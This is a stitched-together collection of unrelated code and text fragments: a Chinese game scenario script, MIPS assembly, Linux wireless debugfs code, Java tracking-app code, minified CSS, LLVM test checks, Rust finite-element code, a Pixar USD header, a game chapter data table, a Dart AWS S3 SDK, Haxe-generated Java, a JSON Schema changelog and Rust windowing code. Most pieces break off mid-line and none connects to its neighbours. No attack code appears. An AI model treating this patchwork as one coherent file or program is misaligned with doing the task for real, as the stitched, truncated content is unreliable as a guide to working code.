    ChrSetPos(0x000C, -52530, 0, -2420, 0)
    ChrSetPos(0x000E, -50800, 0, 1470, 270)
    ChrSetFlags(0x0101, 0x0080)
    ChrSetFlags(0x0102, 0x0080)
    ChrSetFlags(0x0105, 0x0080)
    ChrSetFlags(0x0106, 0x0080)
    ChrSetPos(0x0101, -44330, 0, -1080, 270)
    ChrSetPos(0x0102, -44330, 0, -1080, 270)
    ChrSetPos(0x0105, -44330, 0, -1080, 270)
    ChrSetPos(0x0106, -44330, 0, -1080, 270)
    ChrSetRGBAMask(0x0101, 255, 255, 255, 0, 0)
    ChrSetRGBAMask(0x0102, 255, 255, 255, 0, 0)
    ChrSetRGBAMask(0x0105, 255, 255, 255, 0, 0)
    ChrSetRGBAMask(0x0106, 255, 255, 255, 0, 0)
    OP_4A(0x0009, 255)
    OP_4A(0x000B, 255)
    OP_4A(0x000D, 255)
    OP_4A(0x000C, 255)
    OP_4A(0x000E, 255)
    ChrSetFlags(0x0106, 0x0080)
    FadeIn(1000, 0)
    CreateThread(0x0105, 0x01, 0x00, func_19_77BA)
    ChrSetRGBAMask(0x0105, 255, 255, 255, 255, 500)
    CreateThread(0x0101, 0x01, 0x00, func_17_7778)
    ChrSetRGBAMask(0x0101, 255, 255, 255, 255, 500)
    CreateThread(0x0102, 0x01, 0x00, func_18_7799)
    ChrSetRGBAMask(0x0102, 255, 255, 255, 255, 500)
    WaitForThreadExit(0x0011, 0x0001)
    OP_62(0x000B, 0x00000000, 1700, 0x02, 0x07, 0x00000050, 0x01)
    PlaySE(39, 0x00, 0x64)
    Sleep(50)

    OP_62(0x000D, 0x00000000, 1700, 0x02, 0x07, 0x00000050, 0x01)
    PlaySE(39, 0x00, 0x64)
    Sleep(50)

    OP_62(0x000C, 0x00000000, 1700, 0x02, 0x07, 0x00000050, 0x01)
    PlaySE(39, 0x00, 0x64)
    Sleep(50)

    OP_62(0x000E, 0x00000000, 1700, 0x02, 0x07, 0x00000050, 0x01)
    PlaySE(39, 0x00, 0x64)
    Sleep(1000)

    @scena.Lambda('lambda_638D')
    def lambda_638D():
        ChrTurnDirection(0x00FE, 0x0101, 400)

        ExitThread()

    DispatchAsync(0x000B, 0x0001, lambda_638D)

    @scena.Lambda('lambda_639B')
    def lambda_639B():
        ChrTurnDirection(0x00FE, 0x0101, 400)

        ExitThread()

    DispatchAsync(0x000D, 0x0001, lambda_639B)

    @scena.Lambda('lambda_63A9')
    def lambda_63A9():
        ChrTurnDirection(0x00FE, 0x0101, 400)

        ExitThread()

    DispatchAsync(0x000C, 0x0001, lambda_63A9)

    @scena.Lambda('lambda_63B7')
    def lambda_63B7():
        ChrTurnDirection(0x00FE, 0x0101, 400)

        ExitThread()

    DispatchAsync(0x000E, 0x0001, lambda_63B7)

    @scena.Lambda('lambda_63C5')
    def lambda_63C5():
        ChrTurnDirection(0x00FE, 0x0101, 400)

        ExitThread()

    DispatchAsync(0x0009, 0x0001, lambda_63C5)

    ChrTalk(
        0x000E,
        (
            '#0400061011V#775F#2P啊……',
            TxtCtl.Enter,
        ),
    )

    CloseMessageWindow()

    ChrTalk(
        0x000C,
        (
            '#0410061012V哥哥姐姐……',
            TxtCtl.Enter,
        ),
    )

    CloseMessageWindow()

    ChrTalk(
        0x0105,
        (
            '#0060061013V#043F孩子们……',
            TxtCtl.Enter,
        ),
    )

    CloseMessageWindow()
    CreateThread(0x000B, 0x01, 0x00, func_1A_77DB)
    CreateThread(0x000C, 0x01, 0x00, func_1B_7809)
    CreateThread(0x000E, 0x01, 0x00, func_1C_783C)
    CreateThread(0x000D, 0x01, 0x00, func_1D_786F)
    WaitForThreadExit(0x000B, 0x0001)
    CreateThread(0x0009, 0x01, 0x00, func_1E_78A2)

    ChrTalk(
        0x000B,
        (
            '#0420061014V呜哇啊啊啊……',
            TxtCtl.Enter,
        ),
    )

    CloseMessageWindow()

    ChrTalk(
        0x000D,
        (
            '#0430061015V#5P好可怕啊～！',
            TxtCtl.Enter,
        ),
    )

    CloseMessageWindow()

    ChrTalk(
        0x0101,
        (
            '#0010061016V#008F太好了……\n',
            '大家都平安无事。',
            TxtCtl


 32($sp)
	.loc	2 690
 # 689
 # 690	    CHEAP_FUNC_EPILOGUE (pGCDst);
	la	$11, $$891
	sw	$11, 68($6)
	.loc	2 691
 # 691	}
	.endb	1003
	lw	$31, 20($sp)
	addu	$sp, 24
	j	$31
	.end	miBSCheapCopyGC
	.text
	.align	2
	.file	2 "mibstore.c"
	.loc	2 696
 # 692
 # 693	static void
 # 694	miBSCheapDestroyGC (pGC)
 # 695	    GCPtr   pGC;
 # 696	{
	.ent	$$886 2
$$886:
	.option	O2
	subu	$sp, 24
	sw	$31, 20($sp)
	.mask	0x80000000, -4
	.frame	$sp, 24, $31
	.bgnb	1007
	.loc	2 697
 # 697	    CHEAP_FUNC_PROLOGUE (pGC);
	lw	$14, 76($4)
	lw	$15, $$853
	mul	$24, $15, 4
	addu	$25, $14, $24
	lw	$8, 0($25)
	sw	$8, 68($4)
	.loc	2 699
 # 698
 # 699	    (*pGC->funcs->DestroyGC) (pGC);
	lw	$9, 68($4)
	lw	$10, 12($9)
	jal	$10
	.loc	2 702
 # 700
 # 701	    /* leave it unwrapped */
 # 702	}
	.endb	1008
	lw	$31, 20($sp)
	addu	$sp, 24
	j	$31
	.end	miBSCheapDestroyGC
	.text
	.align	2
	.file	2 "mibstore.c"
	.loc	2 710
 # 710	{
	.ent	$$888 2
$$888:
	.option	O2
	subu	$sp, 24
	sw	$31, 20($sp)
	.mask	0x80000000, -4
	.frame	$sp, 24, $31
	.bgnb	1015
	.loc	2 711
 # 711	    CHEAP_FUNC_PROLOGUE (pGC);
	lw	$14, 76($4)
	lw	$15, $$853
	mul	$24, $15, 4
	addu	$25, $14, $24
	lw	$8, 0($25)
	sw	$8, 68($4)
	.loc	2 713
 # 712
 # 713	    (*pGC->funcs->ChangeClip) (pGC, type, pvalue, nrects);
	sw	$4, 24($sp)
	lw	$9, 68($4)
	lw	$10, 16($9)
	jal	$10
	lw	$4, 24($sp)
	.loc	2 715
 # 714
 # 715	    CHEAP_FUNC_EPILOGUE (pGC);
	la	$11, $$891
	sw	$11, 68($4)
	.loc	2 716
 # 716	}
	.endb	1016
	lw	$31, 20($sp)
	addu	$sp, 24
	j	$31
	.end	miBSCheapChangeClip
	.text
	.align	2
	.file	2 "mibstore.c"
	.loc	2 721
 # 717
 # 718	static void
 # 719	miBSCheapCopyClip(pgcDst, pgcSrc)
 # 720	    GCPtr pgcDst, pgcSrc;
 # 7


	key = key_mtx_dereference(sdata->local,
				  sdata->default_mgmt_key);
	if (key) {
		sprintf(buf, "../keys/%d", key->debugfs.cnt);
		sdata->debugfs.default_mgmt_key =
			debugfs_create_symlink("default_mgmt_key",
					       sdata->vif.debugfs_dir, buf);
	} else
		ieee80211_debugfs_key_remove_mgmt_default(sdata);
}

void ieee80211_debugfs_key_remove_mgmt_default(struct ieee80211_sub_if_data *sdata)
{
	if (!sdata)
		return;

	debugfs_remove(sdata->debugfs.default_mgmt_key);
	sdata->debugfs.default_mgmt_key = NULL;
}

void ieee80211_debugfs_key_sta_del(struct ieee80211_key *key,
				   struct sta_info *sta)
{
	debugfs_remove(key->debugfs.stalink);
	key->debugfs.stalink = NULL;
}


Control control = new XMLControlElement(new TrackProperties(this));

		// set footprint
		setFootprint(footprintName);
		erase();
		for (ParticleDataTrack next : morePoints) {
			next.setFootprint(footprintName);
			next.erase();
		}
		// post edit
		Undo.postTrackDisplayEdit(this, control);
		TFrame.repaintT(tp);
	}

	@Override
	protected void delete(boolean postEdit) {
		if (isLocked() && !isDependent())
			return;
		if (tp != null) {
			tp.setSelectedPoint(null);
			tp.selectedSteps.clear();
			tframe.removePropertyChangeListener(TFrame.PROPERTY_TFRAME_WINDOWFOCUS, this); // $NON-NLS-1$

			// handle case when this is the origin of current reference frame
			ImageCoordSystem coords = tp.getCoords();
			if (coords instanceof ReferenceFrame && ((ReferenceFrame) coords).getOriginTrack() == this) {
				// set coords to underlying coords
				coords = ((ReferenceFrame) coords).getCoords();
				tp.setCoords(coords);
			}
		}
		if (postEdit) {
			Undo.postTrackDelete(this); // posts undoable edit
		}
		for (TTrack track : morePoints) {
			track.delete(false); // don't post undoable edit
		}
		morePoints.clear();
		super.delete(false); // don't post undoable edit
	}

	protected void setModelFootprint(String name) {
		if (this != getLeader()) {
			getLeader().setModelFootprint(name);
			return;
		}
		String props = null;
		int n = name.indexOf("#"); //$NON-NLS-1$
		if (n > -1) {
			props = name.substring(n + 1);
			name = name.substring(0, n);
		}
		for (int i = 0; i < modelFootprints.length; i++) {
			if (name.equals(modelFootprints[i].getName())) {
				modelFootprint = modelFootprints[i];
				if (props != null && modelFootprint instanceof MultiLineFootprint) {
					MultiLineFootprint mlf = (MultiLineFootprint) modelFootprint;
					try {
						boolean closed = Boolean.parseBoolean(props);
						mlf.setClosed(closed);
					} catch (Exception e) {
					}
				}
				break;
			}
		}
	}

	protected Footprint getModelFootprint() {
		return getLeader().modelFootprint;
	}

	protected String getModelFootprintName() {
		String s = getModelFootprint().getName();
		if (getModelFootprint() instanceof MultiLineFootprint) {
			MultiLineFootprint mlf = (MultiLineFootprint) getModelFootprint();
			s += "#" + mlf.isClosed(); //$NON-NLS-1$
		}
		return s;
	}

	/**
	 * Returns a menu with items that control this track.
	 *
	 * @param trackerPanel the tracker panel
	 * @return a menu
	 */
	@Override
	public JMenu getMenu(TrackerPanel trackerPanel, JMenu menu0) {
		if (getLeader() != this) {
			return getPointMenu(trackerPanel);
		}

		JMenu menu = super.getMenu(trackerPanel, menu0);
		menu.setIcon(getIcon(21, 16, "model")); //$NON-NLS-1$
		menu.removeAll();

		// refresh points menu
		pointsMenu.setText(TrackerRes.getString("ParticleDataTrack.Menu.Points")); //$NON-NLS-1$
		pointsMenu.removeAll();
		// add point menus
		pointsMenu.add(getPointMenu(trackerPanel));
		for (ParticleDataTrack next : morePoints) {
			pointsMenu.add(next.getPointMenu(trackerPanel));
		}

		// refresh lines menu
		refreshing = true;
		if (morePoints.size() > 0) {


' opacity='.3' /%3E%3C/svg%3E")}body:not([data-weui-theme=light]) .original_panel{background-color:#202020}body:not([data-weui-theme=light]) .original_panel_tool a{color:#7d90a9}body:not([data-weui-theme=light]) .share_btn{color:#7d90a9}body:not([data-weui-theme=light]) .share_btn:before{background-image:url("data:image/svg+xml;charset=utf8, %3Csvg width='24' height='24' viewBox='0 0 24 24' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M18.8 7.2H16V6h3.001c.55 0 .999.446.999.996v13.008a.998.998 0 0 1-.996.996H4.996A.998.998 0 0 1 4 20.004V6.996A1 1 0 0 1 4.999 6H8v1.2H5.2v12.6h13.6V7.2zm-6.2-3.938V12.5h-1.2V3.262L9.313 5.349 8.464 4.5l2.829-2.828a1 1 0 0 1 1.414 0L15.536 4.5l-.849.849L12.6 3.262z' fill='%237d90a9' fill-rule='evenodd'/%3E%3C/svg%3E")}}body[data-weui-theme=dark] .tips_global_primary.tips_global_primary{color:rgba(255,255,255,.3)}.selectTdClass{background-color:#edf5fa!important}table.noBorderTable td,table.noBorderTable th,table.noBorderTable caption{border:1px dashed #ddd!important}table{margin-bottom:10px;border-collapse:collapse;display:table;width:100%!important}td,th{word-wrap:break-word;word-break:break-all;-webkit-hyphens:auto;-ms-hyphens:auto;hyphens:auto;padding:5px 10px;border:1px solid #DDD}caption{border:1px dashed #DDD;border-bottom:0;padding:3px;text-align:center}th{border-top:2px solid #BBB;background:#F7F7F7}.ue-table-interlace-color-single{background-color:#fcfcfc}.ue-table-interlace-color-double{background-color:#f7faff}td p{margin:0;padding:0}.res_iframe{display:block;width:100%;background-color:transparent;border:0}.shopcard_iframe{margin:14px 0;height:95px}.vote_area{display:block;position:relative;margin:14px 0;white-space:normal!important}.vote_iframe{display:block;width:100%;height:100%;background-color:transparent;border:0}form{display:none!important}@media screen and (min-width: 0�) and (min-resolution: 72dpi){.rich_media_content table{table-layout:fixed!important}.rich_media_content td,.rich_media_content th{width:auto!important}}.tc{text-align:center}.tl{text-align:left}.tr{text-align:right}.tips_global{color:rgba(0,0,0,.5)}.article_extend_area{padding:30px 0 0}.article_extend_area .hot_tag{position:relative}.article_extend_area .hot_tag:after{content:" ";display:inline-block;height:6px;width:6px;border-width:1px 1px 0 0;border-color:currentColor;border-style:solid;transform:matrix(.71,.71,-.71,.71,0,0);-ms-transform:matrix(.71,.71,-.71,.71,0,0);-webkit-transform:matrix(.71,.71,-.71,.71,0,0);position:relative;position:absolute;top:50%;margin


K4-NEXT:    store i32 [[CONV_I]], ptr [[DOTOMP_IV_I]], align 4, !noalias [[META14]]
// CHECK4-NEXT:    br label [[OMP_INNER_FOR_COND_I:%.*]]
// CHECK4:       omp.inner.for.cond.i:
// CHECK4-NEXT:    [[TMP28:%.*]] = load i32, ptr [[DOTOMP_IV_I]], align 4, !noalias [[META14]]
// CHECK4-NEXT:    [[CONV2_I:%.*]] = sext i32 [[TMP28]] to i64
// CHECK4-NEXT:    [[TMP29:%.*]] = load i64, ptr [[DOTUB__ADDR_I]], align 8, !noalias [[META14]]
// CHECK4-NEXT:    [[CMP_I:%.*]] = icmp ule i64 [[CONV2_I]], [[TMP29]]
// CHECK4-NEXT:    br i1 [[CMP_I]], label [[OMP_INNER_FOR_BODY_I:%.*]], label [[OMP_INNER_FOR_END_I:%.*]]
// CHECK4:       omp.inner.for.body.i:
// CHECK4-NEXT:    [[TMP30:%.*]] = load i32, ptr [[DOTOMP_IV_I]], align 4, !noalias [[META14]]
// CHECK4-NEXT:    store i32 [[TMP30]], ptr [[I_I]], align 4, !noalias [[META14]]
// CHECK4-NEXT:    store double 1.000000e+00, ptr [[TMP25]], align 8
// CHECK4-NEXT:    store i32 11, ptr [[TMP26]], align 4
// CHECK4-NEXT:    store ptr @_NSConcreteStackBlock, ptr [[BLOCK_I]], align 8, !noalias [[META14]]
// CHECK4-NEXT:    [[BLOCK_FLAGS_I:%.*]] = getelementptr inbounds <{ ptr, i32, i32, ptr, ptr, double, i32 }>, ptr [[BLOCK_I]], i32 0, i32 1
// CHECK4-NEXT:    store i32 1073741824, ptr [[BLOCK_FLAGS_I]], align 8, !noalias [[META14]]
// CHECK4-NEXT:    [[BLOCK_RESERVED_I:%.*]] = getelementptr inbounds <{ ptr, i32, i32, ptr, ptr, double, i32 }>, ptr [[BLOCK_I]], i32 0, i32 2
// CHECK4-NEXT:    store i32 0, ptr [[BLOCK_RESERVED_I]], align 4, !noalias [[META14]]
// CHECK4-NEXT:    [[BLOCK_INVOKE_I:%.*]] = getelementptr inbounds <{ ptr, i32, i32, ptr, ptr, double, i32 }>, ptr [[BLOCK_I]], i32 0, i32 3
// CHECK4-NEXT:    store ptr @_block_invoke, ptr [[BLOCK_INVOKE_I]], align 8, !noalias [[META14]]
// CHECK4-NEXT:    [[BLOCK_DESCRIPTOR_I:%.*]] = getelementptr inbounds <{ ptr, i32, i32, ptr, ptr, double, i32 }>, ptr [[BLOCK_I]], i32 0, i32 4
// CHECK4-NEXT:    store ptr @__block_descriptor_tmp.1, ptr [[BLOCK_DESCRIPTOR_I]], align 8, !noalias [[META14]]
// CHECK4-NEXT:    [[BLOCK_CAPTURED_I:%.*]] = getelementptr inbounds <{ ptr, i32, i32, ptr, ptr, double, i32 }>, ptr [[BLOCK_I]], i32 0, i32 5
// CHECK4-NEXT:    [[TMP31:%.*]] = load volatile double, ptr [[TMP25]], align 8
// CHECK4-NEXT:    store volatile double [[TMP31]], ptr [[BLOCK_CAPTURED_I]], align 8, !noalias [[META14]]
// CHECK4-NEXT:    [[BLOCK_CAPTURED3_I:%.*]] = getelementptr inbounds <{ ptr, i32, i32, ptr, ptr, double, i32 }>, ptr [[BLOCK_I]],


vec![
            (s00 * self.gg[0][0] + s01 * self.gg[0][1] + s02 * self.gg[0][2]) * self.volume,
            (s01 * self.gg[0][0] + s11 * self.gg[0][1] + s12 * self.gg[0][2]) * self.volume,
            (s02 * self.gg[0][0] + s12 * self.gg[0][1] + s22 * self.gg[0][2]) * self.volume,
            (s00 * self.gg[1][0] + s01 * self.gg[1][1] + s02 * self.gg[1][2]) * self.volume,
            (s01 * self.gg[1][0] + s11 * self.gg[1][1] + s12 * self.gg[1][2]) * self.volume,
            (s02 * self.gg[1][0] + s12 * self.gg[1][1] + s22 * self.gg[1][2]) * self.volume,
            (s00 * self.gg[2][0] + s01 * self.gg[2][1] + s02 * self.gg[2][2]) * self.volume,
            (s01 * self.gg[2][0] + s11 * self.gg[2][1] + s12 * self.gg[2][2]) * self.volume,
            (s02 * self.gg[2][0] + s12 * self.gg[2][1] + s22 * self.gg[2][2]) * self.volume,
            (s00 * self.gg[3][0] + s01 * self.gg[3][1] + s02 * self.gg[3][2]) * self.volume,
            (s01 * self.gg[3][0] + s11 * self.gg[3][1] + s12 * self.gg[3][2]) * self.volume,
            (s02 * self.gg[3][0] + s12 * self.gg[3][1] + s22 * self.gg[3][2]) * self.volume,
        ]
    }

    /// Calculates the stiffness matrix
    ///
    /// solution:
    ///
    /// ```text
    /// K = Bᵀ ⋅ D ⋅ B ⋅ volume
    /// ```
    pub fn integ_stiffness(&mut self, young: f64, poisson: f64) -> Result<Matrix, StrError> {
        let ela = LinElasticity::new(young, poisson, false, false);
        let dd = ela.get_modulus();
        let dim_dd = 6;
        let dim_kk = 12;
        let mut bb_t_dd = Matrix::new(dim_kk, dim_dd);
        let mut kk = Matrix::new(dim_kk, dim_kk);
        mat_t_mat_mul(&mut bb_t_dd, 1.0, &self.bb, &dd.mat)?;
        mat_mat_mul(&mut kk, self.volume, &bb_t_dd, &self.bb)?;
        Ok(kk)
    }
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

#[cfg(test)]
mod tests {
    use super::AnalyticalTet4;
    use crate::shapes::{op, GeoKind, Scratchpad};
    use crate::StrError;
    use russell_chk::assert_vec_approx_eq;
    use russell_lab::Matrix;

    #[test]
    fn analytical_tet4_works() -> Result<(),


//
// Copyright 2020 Pixar
//
// Licensed under the terms set forth in the LICENSE.txt file available at
// https://openusd.org/license.
//
#ifndef PXR_USD_AR_RESOLVED_PATH_H
#define PXR_USD_AR_RESOLVED_PATH_H

/// \file ar/resolvedPath.h

#include "pxr/pxr.h"
#include "pxr/usd/ar/api.h"
#include "pxr/base/tf/hash.h"

#include <string>

PXR_NAMESPACE_OPEN_SCOPE

/// \class ArResolvedPath
/// Represents a resolved asset path.
class ArResolvedPath
{
public:
    /// Construct an ArResolvedPath holding the given \p resolvedPath.
    explicit ArResolvedPath(const std::string& resolvedPath)
        : _resolvedPath(resolvedPath)
    {
    }

    /// \overload
    explicit ArResolvedPath(std::string&& resolvedPath)
        : _resolvedPath(std::move(resolvedPath))
    {
    }

    ArResolvedPath() = default;

    ArResolvedPath(const ArResolvedPath& rhs) = default;
    ArResolvedPath(ArResolvedPath&& rhs) = default;

    ArResolvedPath& operator=(const ArResolvedPath& rhs) = default;
    ArResolvedPath& operator=(ArResolvedPath&& rhs) = default;

    bool operator==(const ArResolvedPath& rhs) const
    { return _resolvedPath == rhs._resolvedPath; }

    bool operator!=(const ArResolvedPath& rhs) const
    { return _resolvedPath != rhs._resolvedPath; }

    bool operator<(const ArResolvedPath& rhs) const
    { return _resolvedPath < rhs._resolvedPath; }

    bool operator>(const ArResolvedPath& rhs) const
    { return _resolvedPath > rhs._resolvedPath; }

    bool operator<=(const ArResolvedPath& rhs) const
    { return _resolvedPath <= rhs._resolvedPath; }

    bool operator>=(const ArResolvedPath& rhs) const
    { return _resolvedPath >= rhs._resolvedPath; }

    bool operator==(const std::string& rhs) const
    { return _resolvedPath == rhs; }

    bool operator!=(const std::string& rhs) const
    { return _resolvedPath != rhs; }

    bool operator<(const std::string& rhs) const
    { return _resolvedPath < rhs; }

    bool operator>(const std::string& rhs) const
    { return _resolvedPath > rhs; }

    bool operator<=(const std::string& rhs) const
    { return _resolvedPath <= rhs; }

    bool operator>=(const std::string& rhs) const
    { return _resolvedPath >= rhs; }

    /// Return hash value for this object.
    size_t GetHash() const { return TfHash()(*this); }

    /// Return true if this object is holding a non-empty resolved path,
    /// false otherwise.
    explicit operator bool() const { return !IsEmpty(); }

    /// Return true if this object is holding an empty resolved path,
    /// false otherwise.
    bool IsEmpty() const { return _resolvedPath.empty(); }

    /// Equivalent to IsEmpty. This exists primarily for backwards
    /// compatibility.
    bool empty() const { return IsEmpty(); }

    /// Return the resolved path held by this object as a string.
    operator const std::string&() const { return GetPathString(); }

    /// Return the resolved path held by this object as a string.
    const std::string& GetPathString() const { return _resolvedPath; }

private:
    std::string _resolvedPath;
};

template <class HashState>
void
TfHashAppend(HashState& h, const ArResolvedPath& p)
{
    h.Append(p.GetPathString());
}

PXR_NAMESPACE_CLOSE_SCOPE

#endif


一切托付给了人类，人类的未来将由『人类』来决定。',	'1026201',	'',	'',	'1',	'叠加态',	'1',	''},
{'10301',	'',	'第三章-第1节',	'总队长与普罗米修斯正在为失散的探索分队担忧，卡蒂雅赶到并告知收到了第三分队的信号。',	'1030101',	'',	'',	'1',	'第三次降落',	'1',	''},
{'10304',	'',	'第三章-第2节',	'总队长与普罗米修斯顺利降落，普罗米修斯却发现尼克罗板块与记忆中的状态相去甚远。两人不慎落入流沙，逃离时进入一个隐蔽房间。',	'1030401',	'',	'',	'1',	'无过往之人（上）',	'1',	''},
{'10305',	'',	'第三章-第3节',	'在这个房间里，总队长与普罗米修斯不仅遇到了造物，还遇到了从容纳舱里出现的，毫无过往记忆的神秘少女。',	'1030501',	'',	'',	'1',	'无过往之人（下）',	'1',	''},
{'10306',	'',	'第三章-第4节',	'普罗米修斯认出少女是碎星禁忌的合成人，在普罗米修斯的追问下，自称玛哈特的少女回想起一些零碎的记忆。',	'1030601',	'',	'',	'1',	'重重守卫（上）',	'1',	''},
{'10307',	'',	'第三章-第5节',	'总队长与普罗米修斯准备离开，玛哈特恳求带上自己，总队长答应玛哈特的请求。',	'1030701',	'',	'',	'1',	'重重守卫（下）',	'1',	''},
{'10308',	'',	'第三章-第6节',	'玛哈特在梦中回想起被不断重置记忆的过去，惊吓醒来。普罗米修斯与玛哈特发生争执，总队长劝慰普罗米修斯冷静下来，并提出了自己的疑问。',	'1030801',	'',	'',	'1',	'沉眠静域',	'1',	''},
{'10311',	'',	'第三章-第7节',	'白衣少女来到尼克罗的收束塔中，开启了异变。另一边，总队长与普罗米修斯路过冷冻舱片区，讨论如果突然断开能量流，舱中的碎星人会变成什么样。',	'1031101',	'',	'',	'1',	'未知区域（上）',	'1',	''},
{'10312',	'',	'第三章-第8节',	'普罗米修斯与总


inal String? alias;

  CreateAccessPointResult({
    this.accessPointArn,
    this.alias,
  });
  factory CreateAccessPointResult.fromXml(_s.XmlElement elem) {
    return CreateAccessPointResult(
      accessPointArn: _s.extractXmlStringValue(elem, 'AccessPointArn'),
      alias: _s.extractXmlStringValue(elem, 'Alias'),
    );
  }
}

/// The container for the bucket configuration.
/// <note>
/// This is not supported by Amazon S3 on Outposts buckets.
/// </note>
class CreateBucketConfiguration {
  /// Specifies the Region where the bucket will be created. If you are creating a
  /// bucket on the US East (N. Virginia) Region (us-east-1), you do not need to
  /// specify the location.
  /// <note>
  /// This is not supported by Amazon S3 on Outposts buckets.
  /// </note>
  final BucketLocationConstraint? locationConstraint;

  CreateBucketConfiguration({
    this.locationConstraint,
  });
  _s.XmlElement toXml(String elemName, {List<_s.XmlAttribute>? attributes}) {
    final locationConstraint = this.locationConstraint;
    final $children = <_s.XmlNode>[
      if (locationConstraint != null)
        _s.encodeXmlStringValue('LocationConstraint', locationConstraint.value),
    ];
    final $attributes = <_s.XmlAttribute>[
      ...?attributes,
    ];
    return _s.XmlElement(
      _s.XmlName(elemName),
      $attributes,
      $children,
    );
  }
}

class CreateBucketResult {
  /// The Amazon Resource Name (ARN) of the bucket.
  ///
  /// For using this parameter with Amazon S3 on Outposts with the REST API, you
  /// must specify the name and the x-amz-outpost-id as well.
  ///
  /// For using this parameter with S3 on Outposts with the Amazon Web Services
  /// SDK and CLI, you must specify the ARN of the bucket accessed in the format
  /// arn:aws:s3-outposts:<Region>:<account-id>:outpost/<outpost-id>/bucket/<my-bucket-name>.
  /// For example, to access the bucket reports through Outpost
  /// my-outpost owned by account 123456789012 in Region
  /// us-west-2, use the URL encoding of
  /// arn:aws:s3-outposts:us-west-2:123456789012:outpost/my-outpost/bucket/reports.
  /// The value must be URL encoded.
  final String? bucketArn;

  /// The location of the bucket.
  final String? location;

  CreateBucketResult({
    this.bucketArn,
    this.location,
  });
}

class CreateJobRequest {
  /// The Amazon Web Services account ID that creates the job.
  final String accountId;

  /// The action that you want this job to perform on every object listed in the
  /// manifest. For more information about the available actions, see Operations
  /// in the Amazon S3 User Guide.
  final JobOperation operation;

  /// The numerical priority for this job. Higher numbers indicate higher
  /// priority.
  final int priority;

  /// Configuration parameters for the optional job-completion report.
  final JobReport report;

  /// The Amazon Resource Name (ARN) for the Identity and Access Management (IAM)
  /// role that Batch Operations will use to run this job's action on every object
  /// in the manifest.
  final String roleArn;

  /// An idempotency token to ensure that you don't accidentally submit the same
  /// request twice. You can use any string up to the maximum length.
  final String? clientRequestToken;

  /// Indicates whether confirmation is required before Amazon S3 runs the job.
  /// Confirmation is only required


ik\\Brotli\\src\\encode\\Encode.hx"
			if (( ( ((int) (haxe.lang.Runtime.toInt(out_bytes.__get(0))) ) > 0 ) && ( ! (haxe.lang.Runtime.toBool(((java.lang.Object) (haxe.lang.Runtime.callField(output, "Write", new haxe.root.Array(new java.lang.Object[]{out.__get(0), ((int) (haxe.lang.Runtime.toInt(out_bytes.__get(0))) )}))) ))) ) ))
			{
				//line 215 "C:\\Users\\Dominik\\Brotli\\src\\encode\\Encode.hx"
				return false;
			}

		}

		//line 218 "C:\\Users\\Dominik\\Brotli\\src\\encode\\Encode.hx"
		return true;
	}

}

// Generated by Haxe 3.4.0
package decode.streams;

import haxe.root.*;

@SuppressWarnings(value={"rawtypes", "unchecked"})
public class BrotliOutput extends haxe.lang.HxObject
{
	public BrotliOutput(haxe.lang.EmptyObject empty)
	{
	}

	public BrotliOutput()
	{
		//line 13 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
		decode.streams.BrotliOutput.__hx_ctor_decode_streams_BrotliOutput(this);
	}

	public static void __hx_ctor_decode_streams_BrotliOutput(decode.streams.BrotliOutput __hx_this)
	{
	}

	public java.lang.Object cb_;

	public java.lang.Object data_;

	public int data_off;

	@Override public double __hx_setField_f(java.lang.String field, double value, boolean handleProperties)
	{
		//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
		{
			//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
			boolean __temp_executeDef1 = true;
			//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
			switch (field.hashCode())
			{
				case 1789388634:
				{
					//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
					if (field.equals("data_off"))
					{
						//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
						__temp_executeDef1 = false;
						//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
						this.data_off = ((int) (value) );
						//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
						return value;
					}

					//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
					break;
				}

				case 98272:
				{
					//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
					if (field.equals("cb_"))
					{
						//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
						__temp_executeDef1 = false;
						//line 7 "C:\\Users\\Dominik\\Brotli\\src\\decode\\streams\\BrotliOutput.hx"
						this.cb_ = ((java.lang.Object) (value) );


-2.10.1.1">Added "if"/"then"/"else"¶

Classify keywords as assertions or annotations per the core spec¶

Warn of possibly removing "dependencies" in the future¶

Grouped validation keywords into sub-sections for readability¶

Moved "readOnly" from hyper-schema to validation meta-data¶

Added "writeOnly"¶

Added string-encoded media section, with former hyper-schema "media" keywords¶

Restored "regex" format (removal was unintentional)¶

Added "date" and "time" formats, and reserved additional RFC 3339 format names¶

I18N formats: "iri", "iri-reference", "idn-hostname", "idn-email"¶

Clarify that "json-pointer" format means string encoding, not URI fragment¶

Fixed typo that inverted the meaning of "minimum" and "exclusiveMinimum"¶

Move format syntax references into Normative References¶

JSON is a normative requirement¶

draft-wright-json-schema-validation-01

Standardized on hyphenated format


owProxy};
pub use self::xdisplay::{XConnection, XNotSupported, XError};

pub mod ffi;

use platform::PlatformSpecificWindowBuilderAttributes;
use {CreationError, Event, EventsLoopClosed, WindowEvent, DeviceEvent, AxisId, ButtonId,
     KeyboardInput, ControlFlow};

use std::{mem, ptr, slice};
use std::sync::{Arc, Mutex, Weak};
use std::sync::atomic::{self, AtomicBool};
use std::collections::HashMap;
use std::ffi::CStr;

use libc::{self, c_uchar, c_char, c_int};

mod events;
mod monitor;
mod window;
mod xdisplay;

// API TRANSITION
//
// We don't use the gen_api_transistion!() macro but rather do the expansion manually:
//
// As this module is nested into platform/linux, its code is not _exactly_ the same as
// the one generated by the macro.

pub struct EventsLoop {
    display: Arc<XConnection>,
    wm_delete_window: ffi::Atom,
    windows: Arc<Mutex<HashMap<WindowId, WindowData>>>,
    devices: Mutex<HashMap<DeviceId, Device>>,
    xi2ext: XExtension,
    pending_wakeup: Arc<AtomicBool>,
    root: ffi::Window,
